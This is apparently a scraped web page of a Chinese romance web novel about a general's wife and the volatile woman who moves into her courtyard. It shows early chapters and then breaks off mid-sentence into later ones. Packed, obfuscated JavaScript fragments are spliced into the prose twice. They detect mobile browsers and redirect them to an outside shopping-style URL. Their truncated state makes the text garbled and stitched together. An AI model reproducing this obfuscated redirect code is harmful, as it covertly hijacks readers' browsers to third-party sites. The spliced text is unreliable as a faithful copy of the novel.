《渣了疯批女主后她黑化了[快穿]》 1. 001 《渣了疯批女主后她黑化了[快穿]》全本免费阅读 夏日的日头毒辣,晒得地都在晃,蝉不鸣了,鸟不叫了,连花草树木都蔫哒哒地垂着头。 在繁华的京城,皇城脚下的朱雀大街,一座气势恢宏的院落内,一位衣着轻薄,仙姿玉骨的美人躺在海棠树下的藤椅上,旁边放着应季水果,身侧四周皆是价格昂贵的冰块。 海棠树上的花已经谢了大半,零星几朵挂在枝头,偶尔有不堪重负的掉下来,花瓣落在美人身侧,更为其增添几分美丽。 她轻阖双目,纤长浓密的睫毛卷翘,像一把小刷子似的,再往下是高挺的鼻梁,左侧有一粒黑色的小痣,让人的目光不由落在上面,自然也就忽略不了那饱满红润的嘴唇。 她的嘴唇不似人们常说的樱桃小口,而是不大不小,饱满丰盈,唇角略微上翘,即便不笑也带着几分温柔。 脚步声渐近,栖息在海棠树上的鸟雀扑棱着翅膀飞走,摇摇欲坠的海棠花飘落在美人的唇侧,与她淡粉色的口脂十分相称。 来人是位十五六的少女,梳着一个灵巧的发髻,除了一根素色簪子之外,再去其他装饰,却掩盖不了身上的灵动和活力。 少女走到美人身侧,屈腿行礼:“王妃,二夫人来了。” 美人睫毛动了动,但没有睁眼:“哪位二夫人?” “赵夫人,她说身体不适,想让您瞧瞧。” “身体不适找府医啊,找我有什么用?” 话音刚落,不远处就传来一声娇嗔:“姐姐好狠的心呐,竟把妹妹晾在院外,这大太阳晒得人家好难受哦,心口更痛了。” 赵清蓉打从娘胎里出来就有心病,家中用尽名贵药材也只能缓解,没法根治。不过春尽听她说话中气十足,想来醉翁之意不在酒。 赵清蓉个子不高,一张巴掌大的鹅蛋脸,杏眼又黑又亮,像她养着的那只狸花猫。 一样的可爱,也一样黏人。 她走到春尽旁边,俯身对她说:“姐姐,我来啦。”说完十分自然地坐到旁边的藤椅上,身子倚向春尽那边。 春尽把脸往旁边一转,打算无视她,过一会儿就听到“咔嚓咔嚓”的声音。 ——赵清蓉在吃她降温的冰块。 春尽不得不出声阻止:“你身子不好,这等寒凉之物怎能入口?” 赵清蓉把嚼到一半的冰块吐出来,抓着春尽的手放到自己胸口,殷切地看着她。 “姐姐,人家心口好闷,你快帮人家治治。” 春尽懒散地瞥她一眼,缓缓把自己的手抽出来,喂了她一颗洗好的樱桃。 “天天心口疼,你就不能换个花样?” 尚书府那么多珍贵药材吊着,不比她这个半吊子大夫有用?都是她的借口罢了。 “那若我不这么说,你会放我进来吗?” 春尽拢了拢身上的薄纱衣,把乍泄的春光遮住,重新闭上眼睛。 “不会。” 她淡淡吐出两个字。 赵清蓉戳戳她的肩膀,嗔道:“我就知道,姐姐好无情好冷漠我好喜欢。” 春尽:“……” 一阵带着热气的风吹过,春尽的发丝被吹动,又黑又亮的头发闪着光,从赵清蓉的脸上扫过,让她一瞬恍了神。 谁都没有再说话,院子里除了风吹动树叶的声音,静得出奇。 过了许久,春尽才慵懒地问:“侧妃找我到底所为何事?” “没什么大事,就是来告诉姐姐,王爷不日就要从边关回来了。” 春尽倏然睁开眼睛,转头看她:“这么重要的事,你怎么现在才说?” “姐姐好凶,分明是你自己无视我。”赵清蓉眨着圆润的杏眼,委屈巴巴。 春尽彻底没脾气了,缓声问她:“不日是几日?” 赵清蓉张开嘴巴,眼神暗示。 春尽叹口气,又喂了她一颗樱桃,她“吧唧吧唧”嚼两下,口齿不清地说:“大约三五日吧,他于一月前便从岭南出发了。” 一月前?那时范黎曾有书信送来,但不是给她的。 事情来得太过突然,给了她一个措手不及,春尽想了想自己被赶鸭子上架成亲,以及从未见过一面的夫君,决定在范黎回来之前收拾细软跑路。 当了两年将军夫人,她已经积攒了不少财富,就算现在自立门户,日子也能过得很滋润。 只是不能再待在京城了,她还挺喜欢这里的呢,可惜。 “姐姐,你是不是在想……” “我什么都没想!” 春尽打断她的话,把一小篓樱桃塞到她怀里,下了逐客令。 “你的心脏没什么事,回去静养吧,这几日就不要出门了。” 赵清蓉不情愿地站起来,接樱桃的时候顺势抓住她的手,倾身靠近她。 “姐姐走的时候可别忘了带上我。” 春尽面不改色:“妹妹在说什么,我怎么听不懂?” 赵清蓉直起身,拈起一颗樱桃丢进嘴里,微微仰头看着她,一脸看穿一切的表情。 “姐姐忙吧,我明日再来看你。” 她施施然走了,不忘顺走冰镇西瓜。 春尽盯着她的背影看了片刻,猛然回神匆匆往屋里走,现在不是研究赵清蓉的时候,她有更重要的事要做。 幸亏她平时就有打算,把值钱的东西都换成了银票,只需要带一个小包袱就行。 翻箱倒柜拿出藏在各处的银票,打包好之后春尽累出一身汗,刚坐下准备喝口水,就看到桃枝靠在门口眼巴巴地看着她。 “呃……你……” “夫人,您要走了吗?” 春尽沉默,桃枝是她的贴身丫鬟,肯定瞒不过的。 桃枝走进来,直直跪在她面前:“夫人,带上我吧,我想继续伺候您。” “我可能要一路南下,路上十分辛苦,你……” “我不怕的。” 桃枝抬头看她,漆黑的瞳仁散发着期待的光,让人难以拒绝。 这府里全是猫系美人,对她的考验不是一般大啊。 春尽吐出一口气,说:“好,那你便跟着我吧。” 桃枝是她进府后才服侍她的,那时她只有十三岁,但小丫头机灵聪慧,从来没让她操过心。 以她的财力,养一个小丫头应该不是问题。 看了一眼床上放着的包裹,春尽心里小小愧疚了一下。对不起范将军,拿了点你的钱,但我这两年为你操持府中大小事务,没有功劳也有苦劳,就当是我的工钱吧。 春尽原本想第二天一早就走的,但母亲的忌日快到了,她准备一次性把往后几十年的纸都烧了,毕竟这辈子可能再也不会回来了。 “娘,您的一辈子毁在男人手里,女儿不想重蹈覆辙,所以以后可能不会再来看您了。这些钱您拿着,在下面想吃什么吃什么,想喝什么喝什么,千万别委屈自己。” 春尽在母亲的墓边坐了大半天,日暮西斜才回去。 望着天边赤红的晚霞,她的心情慢慢变好,有种迷雾尽散的轻松感。 当初父亲为了把她这个麻烦处理掉,特意在一众适婚男子中选了最不突出,且花心之名在外的范黎,应该是没想到他会屡立奇功,成为本朝最年轻的大将军。 所以说在官场上沉浮多年又如何,还不是看走眼了。 不过她并不贪恋将军夫人这个虚名,而是想要过自由自在的生活,不然也不会想偷偷 2. 002 《渣了疯批女主后她黑化了[快穿]》全本免费阅读 姐姐怎么会怪你呢?姐姐只会打你。当然了,春尽是不会当着范黎的面这么说的,好歹是当家主母,得有容人的气度。 她把包袱藏到身后,露出恰到好处的微笑:“妹妹这是哪里话?将军身边有你这么可心的人伺候,我高兴都来不及,怎么会怪你呢?” 女子轻吸一下鼻子,眼泪就停住了,晶莹泪珠挂在眼尾,看起来娇弱妩媚,宛若西子。 春尽差点看呆了,还好她定力强,发觉自己不值钱的样子,立刻回神。 抬头却撞进对方雾气朦胧的眼瞳里,那双眸子状若桃花,即使只是随意看她一眼,也似对她含着情一般。 女子视线微移,盯着她的手说:“姐姐这是要去哪里?” 春尽心里一悸,把包袱藏得更深,露出假笑:“自然是来迎接你们的,我能去哪儿啊?” 女子眼眸微转,斜斜地看着她,漆黑眼底似有烟波流转,顾盼生姿。 “姐姐果真人美心善,叫妹妹好生感动。” 春尽笑着摆摆手,刚要受下她的称赞,桃枝的声音就由远及近传来。 “夫人,我们快逃吧,晚了就来不及了。” 桃枝的脚步声又重又急,踩在虚空的回廊上,声响巨大。越来越近,越来越近,然后一个急刹,差点栽倒在地。 她先是看到了春尽面前的陌生女子,疑惑地问:“这是?” 春尽若无其事地把脸移开,装作不认识她的样子。 范黎轻咳一声,桃枝这才注意到后边那个黑炭,连忙跪下行礼。 “参见大将军,您……您不是……” 二夫人明明说将军得三五日才能回来,怎么今天就回来了?那她跟夫人的出逃计划岂不是…… 她抬头看向春尽,春尽依旧不看她,面上一派淡然,没有丝毫慌乱的迹象。 不愧是夫人,泰山崩于前而面不改色,佩服! “逃走?”女子眉尾轻挑,不知是在跟谁说话。 范黎反应慢半拍,经她提醒才抓住重点,看着春尽用眼神询问她。 “妾身不知,兴许是您听错了。” 范黎沉默了一下,战场上眼观六路耳听八方,回到家里耳朵突然就不好使了,真神奇。 不过他并不拆穿春尽,而是打算将此事轻轻揭过。 “夫人,劳烦你为拂雪姑娘准备一个住处,今后她便留在府里了。” 春尽心想这事要纳妾啊。 再看面前这叫拂雪的女子,云鬓香腮,雪肤花貌,让范黎一路从边关带回京城,定然是放在心尖尖上的人了。 心领神会,她笑着说:“那便安排在将军卧房旁边的小院里吧,离您近,方便伺候。” 范黎没有立刻答应,而是看向拂雪,似乎在征求她的意见。 拂雪低头轻笑,道:“无名无分的,单独给我一间院子落人口实,姐姐若是不嫌弃的话,便让我住在你院里吧,随便给我个睡觉的地方就行。” 春尽看她,她也在看春尽,两人眼神厮杀一番,未分出胜负。 拂雪眨眨眼睛,弱声问:“姐姐不愿吗?也是,我出身低微,不懂京城的规矩,姐姐嫌恶我是应该的。” 长得美艳又会做小伏低,此女心机深不可测,断不能留在身边!春尽脑子一转,忽而露出一个灿烂的笑容。 “妹妹这是哪里话,我只是怕将军舍不得罢了。” 范黎:“既如此,那便让她在你院子住下吧。” 春尽:…… 一唱一和把我当猴耍?迟早跟你们这对狗男女拼了! 拂雪挽住春尽的胳膊,甜甜地说:“谢谢姐姐。” 春尽甩开她的胳膊,淡漠疏离:“不客气,以后就是一家人了,有什么不懂尽管问其他姐妹,大家都很好相处。” 去问别人,别烦我。 拂雪巧笑嫣然:“有姐姐这句话我就放心了。”说话间大眼皮微垂,遮住里面掠过的幽光。 范黎看着两人之间暗流涌动,觉得自己属实有点多余。 “有劳夫人了,我去看看颦儿。” 他欲溜之大吉,春尽也不想再跟拂雪虚与委蛇,朝桃枝使个眼色:“带拂雪姑娘去安顿一下。” 桃枝会意,一脸“放心交给我吧”的自信表情,起身之际包袱却摔在地上,露出里面的银子和金银首饰。 “当啷”的一声过后,周围安静极了。 春尽绝望地闭上眼,桃枝慌忙收拾,刚要解释就被拂雪抢了先。 “姐姐对下人真好,看来以后定能相处得很融洽。” 春尽见她不提自己要跑路的事,摸不准她心里打着什么算盘,没有应声。 桃枝抓着包袱,可怜巴巴地看她一眼,眼里充满了自责。春尽见状,暗叹一口气,道:“算了,我亲自带拂雪姑娘去吧。” 拂雪略微歪头,眼睛眯起来:“谢谢姐姐。” 声音甜美,娇俏可爱,谁能不为她倾倒? 春尽转身,将手里的包袱丢给桃枝,施施然离去,身姿高挑挺拔,窈窕有致,尤其是一把柳枝似的细腰,不堪盈盈一握。 拂雪跟在她身后,多情的桃花眼暗了几分,似有波涛翻涌其中。 但桃枝拿着两个包袱,偷偷看一眼范黎,等着他发落。范黎从远去的两人身上收回视线,轻叹一口气。 这府里以后怕是要热闹了。 感慨完,他往前院走去,看都没看桃枝一眼。 桃枝:将军,你说句话呀! 从后门到后院路程很短,两人一路无话,春尽虽然感觉后背有一道炙热的目光,但不想去过多探究。 这府里总共有四位夫人,她进府时间最短,刚来的时候所有人都想取代她,但她的身份摆在那里,只要她不犯七出之条,没人能撼动得了她的地位。 更何况她根本不想当这个将军夫人,如果拂雪能说服范黎与她和离,就再好不过了。 春尽把拂雪带到了自己的倚梅园,对着两侧的厢房说:“这些房间都空着,姑娘可以随意挑选。” “我想住在姐姐隔壁。”拂雪故意睁大眼睛,显得单纯许多。 她的皮肤白净透亮,浑身上下透着年轻的鲜嫩,故作此种姿态时尽显小女儿的娇艳,让人觉得如沐春风,心旷神怡。 春尽差点被假象欺骗,反应过来之后连忙道:“我隔壁房间是桃枝在住,不空。” 拂雪上前一步,离春尽只有半尺距离,“在姐姐心里,我连个丫鬟都不如吗?” 她的语气不是之前绵软,多了些咄咄逼人,春尽下意识问:“你这话是什么意思?” 拂雪眉眼低敛,语气软糯:“是我高攀,姐姐看不上我也是应当的。” 一顶帽子扣下来,差点压弯了春尽的腰,她什么时候说过这种话? 污蔑!诽谤!岂有此理! “姑娘这话严重了,我从没这种心思。” 拂雪收起委屈的表情,目光灼灼地盯着她:“那姐姐允我住在你隔壁吗?” 话都说到这个份儿上了,春尽哪还能拒绝?恰好桃枝抱着包袱回来,她便让桃枝把房间收拾出来。 桃枝:? 出去的时候好好的,回来家被偷了! 桃枝麻利的房间收拾好,一应用品都换了新的,多余的陈设也拿了出去,主打一个简约。 经 3. 003 《渣了疯批女主后她黑化了[快穿]》全本免费阅读 赵清蓉被赶出来了,望着紧闭的门,她的心里冒出了许多不雅的词语,忍了又忍,还是没忍住。 “你凭什么不让我待在姐姐的屋里?你算老几也敢这么对我?!你出来!” 拂雪对外面的喧闹充耳不闻,她趴在桌上看着春尽,好似在生气。 春尽无意看一眼门口,问她:“什么事?” 若不是今后还有用得上她的地方,她会连拂雪一起赶出去,还自己一个清静。 拂雪见她毫无所动,气得把脸转到了一边。 春尽:“……?” 虽然她生气的样子也很好看,但春尽不打算惯着她的脾气。 “如果你是来给我甩脸子的,那我劝你还是回去吧,我脾气没那么好。”并且略懂拳脚。 拂雪眼眶红了,但又做不到真的远离,只能深吸一口气眼下心头酸涩,再次面对春尽。 四目相对,春尽被她泛红的眼睛刺了一下,心底竟有些闷。 “我没换洗的衣服,借我一身衣服吧。” 语气很温和,隐约带着点祈求,春尽也不是不讲理的人,当即让桃枝去为她准备衣服。 拂雪依旧坐在她旁边,没有要走的意思。 “衣服待会儿会送到你房里。”春尽下逐客令。 拂雪略微侧身,靠得她更近一些,也不说话,就那么看着她。 春尽被盯得不自在,旋即起身朝衣柜走去,拿了几套自己没穿过的夏装给她。 “你我身量相仿,应该能穿。都是新的。” 拂雪从她手里接过衣服,眉眼间的阴霾一扫而空,清润的双眸灼若桃花。 春尽心想,边关到底苦寒,几件衣服竟让她高兴至此,也是个飘零乱世的可怜姑娘,自己或许不该对她过于冷漠。 思及此,春尽的表情柔和下来,拂雪也敏锐地察觉到了这点,眼睛一转就是一个主意。 “能不能再麻烦姐姐一件事?” 春尽笑容瞬间消失,心道果然还是冷漠点好。 拂雪示弱,拉下左肩的衣服,露出后背的伤口。 “回来的路上遇到流匪,受了点小伤。” 嘴上这么说,却将缠着的绷带扯断,露出血肉模糊的伤处。 春尽一看这哪是小伤啊,再往旁边偏一点,整条胳膊都削下来了,难为她一个弱女子这么能忍,从进府到现在竟一声都没吭。 “你先坐下,我让下人去找府医。” 拂雪拉着春尽的手,道:“姐姐随便帮我处理一下吧,府医是外男,我一个未出阁的女儿家,终归不好。” 春尽也有所顾虑,这伤处太过私密,不能让男郎中瞧,可从府外请个女郎中来,还得费些时间,只怕拂雪撑不住。 鲜血顺着后背往下流,不一会儿就染红了衣衫,拂雪的脸色也逐渐苍白。春尽于心不忍,咬着牙道:“我先帮你简单止血,回头还是要找郎中瞧的。” 拂雪朝她笑:“好。” 春尽的医术是跟着母亲学的,只略懂皮毛,她怕弄疼拂雪,手上收着力道,折腾了半天才把血止住。 “谢谢你。”拂雪唇色惨白,好似下一秒就要晕过去。 春尽举着沾满了血的手,说:“道谢就不必了,你赶紧回去吧,别晕……” 话还没说完,面前的人软软地倒了下来。 春尽怕把血弄到她身上,只能张开手臂接住,“喂?喂!真晕了?” 没有回应,连呼吸声音都听不见。 好嘛,怕什么来什么。 “夫人,我把衣服……”桃枝进来,被眼前的场景吓得腿一软,跌到门槛上。 她哆嗦着唇,磕磕巴巴地说:“您、您把她……杀……杀了?” 春尽无语凝噎,狠狠地说:“是,我把她给杀了,你快来帮我毁尸灭迹。” 桃枝“哇”一声哭了出来,连滚带爬地走到春尽身边,颤颤巍巍地去扶拂雪。 “夫人,咱俩以后就是一根绳上的蚂蚱了,您可一定要管我啊,呜呜……” 春尽屈起手指给她一个爆栗,道:“扶到床上。” “哦。啊?”桃枝面露惊恐,眼泪簌簌而下,“还是埋了吧,怎么能让一个死人睡你的床?” 春尽:…… 要不说这丫头干活麻利呢,这不就体现出来了吗?不过智商这方面就…… 唉,人无完人,也不能太过苛求。 “没死,只是受伤了,你把她放下之后,去找个女郎中来,顺便告诉将军她昏迷了。” 正是怜香惜玉的好时候,怎么能不让范黎表现呢? 桃枝把床上名贵的锦被拿下来,在褥子上铺了厚厚一层粗布,才把浑身是血的拂雪放上去。 临走前她又问:“真不是您吗?” 春尽:“嗯?” “不是您就好。”她一缩脖子,在春尽探究的眼神下溜之大吉。 春尽洗了干净了手,正打算换身衣服,床上的人突然呻.吟一声,听着十分痛苦。 春尽凑近看了眼,她的额上全是细汗,眉头紧皱,脖子上青筋凸起。 这么痛,先前还像没事人一样,是不敢露出自己脆弱的一面吗? 春尽心软了两分,用湿帕子替她擦掉脸上的汗,转身欲走,手被一把抓住。 “别走,别走。” 春尽侧目看她,终究没有狠下心来。 她把一旁的凳子用脚拉过来,在床前坐下,耐心地为她擦额头和脖颈的汗。 床上的人面色苍白,憔悴不堪,与白天那个美艳娇俏的少女大相径庭,让春尽心里很不是滋味。 女子在这世上立身本就不易,她又何必去为难一个孤女? 春尽失声一笑,觉得自己这个主母当得很是称职,别人忙着争宠邀功,而她在照顾夫君的小妾。 “姐姐。” 春尽以为拂雪醒了,忙抬眼看去,发现她只是在呓语而已。 这般放不下,看来关系定然十分要好。 两刻钟后,桃枝带着女郎中来了,同来的还有范黎和他的一众夫人们。 赵清蓉受了拂雪的气,不是很关心她,林颦胆小晕血,一直藏在范黎怀里,范黎站在春尽身后,没有预想中那么担心拂雪。 春尽有些生气,道:“将军,还是先看看拂雪姑娘吧,她比二夫人更需要您。” 林颦闻言从范黎怀里出来,尴尬地退到了一旁。 范黎看拂雪一眼,表情有些复杂,演这一出也不是为了他啊,需要他做什么?当一个工具人就好了。 “您陪在她身边,她会安心些。” 说着把范黎的手塞到拂雪手中,想把自己解脱出来,哪知拂雪一下就甩开了范黎的手,还十分嫌弃地嘤咛一声。 春尽疑惑地看着范黎,范黎摸摸鼻子,一脸尴尬。 看吧,就跟你说她不需要我,非要让我在这么多人面前丢脸,现在你满意了?你这个冷漠无情的女人! 拂雪再次抓住春尽的手,这次比前一次还要用力,仿佛要把她的腕骨捏碎。 春尽疼得吸气,又不能对神志不清的人说什么,只能默默忍受了。 早知道就昨天跑了,真是造孽! 女郎中要脱掉拂雪的衣服,范黎立刻转身,“蹬蹬蹬”几步跨了出去。 春尽看着他消失在门口的衣角,表情一言难尽。无名无分把人从边关带来,现在倒是知道避嫌了,纯有病。 拂雪的衣服已经被血痂粘在皮肤上,剥离的时候疼得直冒冷汗,嘴里溢出痛苦的哼吟。 春尽也好不到哪去,疼得龇牙咧嘴,面容扭曲。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|12753246|134549||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 风骤雨般的深.吻让春尽无力招架,她伸手去推拂雪反被抓着手按在自己胸前,拂雪就着她的手揉.捏绵软,力度一下下加重。 “哐当”一声响,两人的呼吸皆是一停,春尽如梦初醒般偏开头,急促地喘.息。 “你太放肆了!” 拂雪蹲下,双手扒着浴桶,用一张人畜无害的脸看她。 “姐姐你说什么?” 春尽看着她的脸气就消了七分,况且这一来二去又消耗不少力气,哪还有余力跟她生气? “把那边的衣服拿过来。” 拂雪温顺地拿了衣服帮她穿,借机吃了不少豆腐。 桃枝等啊等,一直等不到主子来,便去偏厅找人,没想到会看到…… “啊!我的眼睛!不会长针眼吧?” 她捂着眼睛快速跑开,并把院子里的下人全部遣出去,只留自己一人伺候。 没办法,她知道得实在太多了,没办法独善其身。 洗了个澡出来,春尽的嘴肿了,脖子上还有几个新吻痕,颜色异常鲜艳,就像刚采摘下来的草莓。 桃枝眼睛都不知道该往哪放,连忙布好菜就要出去,还没到门口就“哎哟”一声四仰八叉地躺到地上。 春尽:年轻就是好啊,倒头就睡。 拂雪看她一眼,淡声道:“困了就回你房间睡。” 桃枝挣扎着看她们一眼,气得直接躺平了。 果真眼盲心瞎,看不出来她是被人推倒的吗? 郑夏至本以为春尽会出来迎接她,等了一会儿毫无动静,沉不住气了。 她一脚把另一扇门踹开,大声道:“郑春尽,你死了吗,嫡姐来了也不知道出来跪迎?” 春尽瞥她一眼,温和的脸一寸寸冷了下来。就不能迟点来吗,非要在别人吃饭的时候找事,这不是存心让我消化不良? “什么事?” 郑夏至仗着有皇后撑腰,不把将军府放在眼里,去其他妾室那里闹了一场之后,觉得不过瘾又来找春尽的不快。 她轻蔑地扫视两人一眼,阴阳怪气地说:“怪不得能聚到一起,都是一样的狐媚子!” 春尽看拂雪一眼,见她无动于衷有些心急。她都人身攻击了,你还坐得住? 拂雪吃自己的饭,外界纷扰与她无关。察觉到春尽的目光,她勾唇轻笑:“姐姐,想让我帮你解决她吗?” 春尽坐直身体,高冷道:“随你。” 拂雪笑得越发灿烂,露出整齐洁白的牙齿,眼尾一点殷红似桃花盛开。 她轻碰一下春尽的小拇指,低声说:“那姐姐要允我今晚也跟你一起睡。” 说完她就站了起来,没给春尽拒绝的机会。 春尽:…… 我这样拜谁所赐啊,你还敢跟我讨价还价?! 实在是体力不济,不然她就自己动手了,又被算计一把,该死! 郑夏至见两人旁若无人地交谈,脸色越来越难看。 “谁给你的胆子,竟敢不把我放在眼里!” 她疾步走到餐桌前,端起桌上的汤往春尽脸上泼。 拂雪抓着她的手往前一折,那些汤汤水水全倒在了她脸上。 郑夏至愣怔了片刻,爆发出杀猪般的尖叫。 “啊啊啊!你…你们……竟然敢……我要杀了你们!” 她咬牙切齿,一双细长的眼睛恶狠狠地盯着两人,像阴冷的毒蛇。 拂雪冷眼看她,语气幽沉:“滚!别让我说第二遍。” 郑夏至气得胸膛剧烈起伏,仿佛一口气上不来就要厥过去。她盯着两人看了一会儿,突然像发现了什么似的,怪异地笑起来。 “据我所知,昨晚范将军宿在林颦院子里,你俩……偷人了?” 20. 020 春尽心里慌了一下,但很快就冷静下来,她瞥一眼拂雪,见她不仅没听她的把脖子上的痕迹遮住,反倒穿着齐胸襦裙,将那些吻痕暴露得一清二楚。 春尽:…… 有你是我的福气! 但不能怪拂雪一个人,因为她也没有遮。 谁会在大热天把自己包得严严实实?更何况这还是在她的地盘,自然怎么舒适怎么来。 也没想到郑夏至会突然造访,还以为她消停了呢,看来是故意挑这个时间来,让大家都不痛快。 不过以她的脑子应该翻不出多大风浪,春尽对此无比自信。 一般人看到这样的场景,不都会怀疑两个当事人有猫腻吗,只有她会想到偷人。 京中贵女虽接受的是严格的教育,但也不是没有同性相恋的事,只能说她胸大无脑,思维太单一了。 这样的人,称之为对手都是对她的侮辱。 春尽扶着桌子站起来,在拂雪来扶她的时候拍开她的手,狠狠瞪了她一眼。 她以为自己情绪表达得很到位,实则落入拂雪眼里,是完全相反的含义。 哭了大半夜,她的眼睛微微泛红,一抹绯色直接洇到面中,以至于她想展露的愤怒全部变成了嗔怪,含羞带怯的,看得拂雪心头发痒。 好烦啊,怎么这么多人,她们不能消失吗? 只想跟姐姐两个人待着。 要不把她们全杀了吧? 拂雪心里叫嚣着,看着郑夏至的眼神一寸寸暗了下来。 春尽不知道她为什么突然变脸,但一想到她本来就是个精分,一下子觉得很正常。 郑夏至还在为自己的发现沾沾自喜,看春尽的眼神都带着倨傲,满脸写着想把她除之而后快的恶毒。 “郑春尽,你这种水性杨花的女人,就该游街示众之后浸猪笼!” 春尽走到她面前,垂眸俯视她,略微上挑的眼尾为她增加了几分厉色,气势也同方才截然不同。 “范黎把将军之位让给你了?” 郑夏至不知道她这是何意,皱着眉说:“你有病吧,这是说让就能让的吗?” 看来还有点脑子,春尽冷笑。 “我还以为这将军府的主人换成你了,张口就是游街浸猪笼,既然你什么都不是,那在这乱吠什么?” 郑夏至气得五官都扭曲了,抬手就要打她,被拂雪一把抓住手腕甩开,她就连连后退几步撞到门框上。 “啊!”郑夏至痛呼一声,看着两人的眼神愈发阴狠。 “戳穿了你们的丑事就想杀人灭口?我背后可是整个丞相府和皇后,你们两个贱人怎敢动我?!” 春尽实在听不下去了,张口闭口丞相府,不知道的人还以为郑相是整个宇宙的主宰呢。 但不等她做出反应,拂雪已经动手了。 “我看你是日子过得太安逸,不知道天高地厚了,你再骂一句试试?” 拂雪掐着她的脖子,眼神比郑夏至还要狠戾,春尽一时竟分不清谁才是反派。 果然啊,什么乖巧小狗都是骗人。 郑夏至吓得面无血色,但她嚣张跋扈惯了,即使处于这种境地,嘴上依然不饶人。 “快点放手,你算什么东西,竟敢对我动手,不想活了吗?要是我少了一根汗毛,皇后娘娘定会扒你一层皮!” 见她又拿皇后来压人,拂雪笑了——鄙夷且不屑地笑。 “你们郑家日渐式微,现如今也只能拿一个没有实权的后宫妇人来说事了。” 给她面子她是一人之下的皇后,其实那个位子换个人坐,也没什么影响。 春尽心头一跳,好像有什么东西从脑中划过,快到抓不住。 即使是生活在京城的百姓,也对皇家带着与生俱来的敬意,更何况是从边关来的孤女。 皇后是没有实权的后宫妇人,普通人敢说这种话吗? 郑夏至也被她的狂悖吓到,愣怔着说:“你……你竟敢对皇后大不敬?!” 拂雪翘起一边唇角,语带讥诮:“是又怎样,你能奈我何?” 说话间她手指用力,掐的郑夏至脸色涨红,只能不停地掰着她的手挣扎。 “咳咳!你……你……不能……” 郑夏至双眼通红,额头上青筋都起来了,眼看着她挣扎的幅度越来越小,春尽连忙阻止拂雪。 拂雪转头看她,眼里的阴戾瞬间消失,取而代之的是委屈无辜。 “姐姐,她好吵。” 吵就要把人杀掉吗?更何况郑夏至好歹是相府嫡女,又是奉皇后懿旨来的将军府,要是不明不白地死了,整个将军府都会遭殃。 春尽一阵头疼,抓着她的手道:“松手,不然她真死了。” “好叭,我听姐姐的。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|12753247|134549||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拂雪松开手,嫌弃地看着自己的手,“好脏。” 春尽没法,只得用袖子帮她擦拭掌心。这祖宗性子阴晴不定,还是尽量稳住的好。 春尽低头为她擦手,拂雪的目光就钉在她脸上,眼中闪烁着兴奋的光,比方才准备杀人时还要强烈。 当然这些春尽是不知道,否则她定会离这个变态远一点。 郑夏至被丫鬟扶着猛烈咳嗽,腰弯成了九十度,春尽听着她声嘶力竭的咳声,心烦不已。 “郑夏至,以前你欺负我我可以不跟你计较,但你若是纠缠不休,我也不会坐以待毙,识相的就收拾包袱麻溜滚,以后别再出现在我面前了。” 郑夏至都快把肺咳出来了,春尽这么说她也只能无能狂怒地瞪她一眼,什么话都说不出来。 春尽看着她身边瑟瑟发抖的丫鬟,冷声:“还不快把你家小姐带走?” 丫鬟被她一看,鹌鹑般缩了起来,对郑夏至小心翼翼地说:“小姐,咱们先回去吧?” 郑夏至也知道自己在这里讨不到一点好,即使再不甘再不忿,也要回去之后再做打算,否则那个疯子真的会杀了她。 本以为有姨母撑腰,这将军府会好好供着她,便没有带多少丫鬟仆从,现在只能吃哑巴亏。 “走吧,咱们去找皇后娘娘,她会为您做主的。”丫鬟压低声音道。 郑夏至使劲攥着手,愤恨地扫视两人一眼,转身往外走去。 “这下怎么办,她肯定找皇后告状去了。” 春尽看着郑夏至的背影平静地说。 拂雪握紧她的手,头靠在她肩上亲昵地蹭蹭。 “对啊,这可怎么办?姐姐,人家好怕。” 春尽:…… 原来人无语到极点的时候真的会笑。 春尽甩开她的手转身,对桃枝道:“菜凉了,拿下去热热吧。” 桃枝将菜端出去,饭厅里便只剩下春尽和拂雪两人。 拂雪像块牛皮糖一样黏上来,怎么撕都撕不掉。 “快点放手,拉拉扯扯成何体统?” 拂雪将她整个人环住,脸埋在她颈窝小狗般撒娇。 春尽僵着脖子往后仰,用尽全力推她,眼角余光蓦然瞥到站在门口的范黎。 四目相对,两人的沉默震耳欲聋。 春尽:如果我说我只是在帮她挤痘痘,你信吗? 21. 021 春尽一瞬间想了很多,譬如她跟拂雪过于亲密的行为,以及两人身上暧昧的痕迹,以及把郑夏至赶走之后会有怎样的后果。 头脑风暴一番,她刚张嘴,就听范黎说:“没事就好,继续吃饭吧。” 说完他就背着手走了,脸上隐约还有笑容。 春尽愣了好一阵,觉得情况十分不对,她好像从一开始就陷入了思维误区。 范黎只说拂雪是她从边关带来的,从没说过纳她为妾,而且拂雪对他的态度也不像是其他下位者对待上位者,可以说是毫无恭敬可言。 可既然范黎对她并无男女之情,凭什么对她如此纵容? 她低头看拂雪,恰好拂雪也在看她,触到她的眼神后眯眼一笑,很是魅惑人心。 但春尽不会再被假象骗了,她坚定地将她推开,从头到尾打量她一眼,淡声说:“自己交代吧,我不想说话。” 她的嗓子到现在还哑着,一出声就会莫名想起昨晚的情形,实在是…… 活到现在也经历过不少事了,怎么会如此沉不住气。 春尽头痛地皱眉,缓缓走到饭桌前坐下。 拂雪乖顺地跟过去,硬要跟她挤在一起。身子靠在一起不算,还要抱着她的腰往她怀里蹭。 春尽实在受不了这只没眼色的狗了,拎着她的后颈皮把她丢开,面色沉了几分。 “不要企图蒙混过去,让你说什么你就说什么,要是不愿意说就出去,以后别再来找我了。” 